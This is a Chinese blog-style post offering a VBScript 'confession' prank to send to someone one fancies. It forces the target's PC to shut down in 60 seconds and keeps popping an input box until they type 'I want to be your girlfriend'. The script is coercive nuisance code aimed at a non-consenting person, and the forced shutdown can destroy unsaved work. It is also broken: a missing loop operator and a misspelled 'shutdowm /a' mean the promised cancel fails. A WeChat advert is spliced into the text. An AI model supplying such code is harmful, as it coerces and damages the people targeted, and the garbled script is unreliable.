无敌:抖音超火的表白代码，程序猿不一定都是单身！

大家好！我是鲜聊！聊不新鲜的！

今天我们来聊聊代码！

最近抖音上表白代码火了起来

看到别人用代码撩自己喜欢的小姐姐是不是心痒难耐

是不是也想撩一撩自己喜欢的小姐姐

别急，这就来教你怎么写这样的小程序

都醒醒！醒醒哈！上课了！

下面是程序：

代码如下：

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run"shutdown /f /s /t 60 /c输入‘我要做你女朋友’，否则60秒后关机~",0

do while answer"我要做你女朋友"

answer=inputbox("输入‘我要做你女朋友‘，不然我可是不会走的哦，哈哈~~")

loop

wshshell.run"shutdowm /a",0

msgbox"我就在你家楼下，哈哈哈",,"我喜欢你"

这里面的中文是可以随意改的（小兔情感挽回老师 微信：ke2004578），你也可以改成你自己想说的话

效果如下：

如果ta不输入你指定的话，那么ta是关不掉的

这是一个简单的小程序抖音表白技巧，可以拿来撩一撩你喜欢的妹纸

当然，简单的小程序自然漏洞百出，一个任务管理器就可以关掉它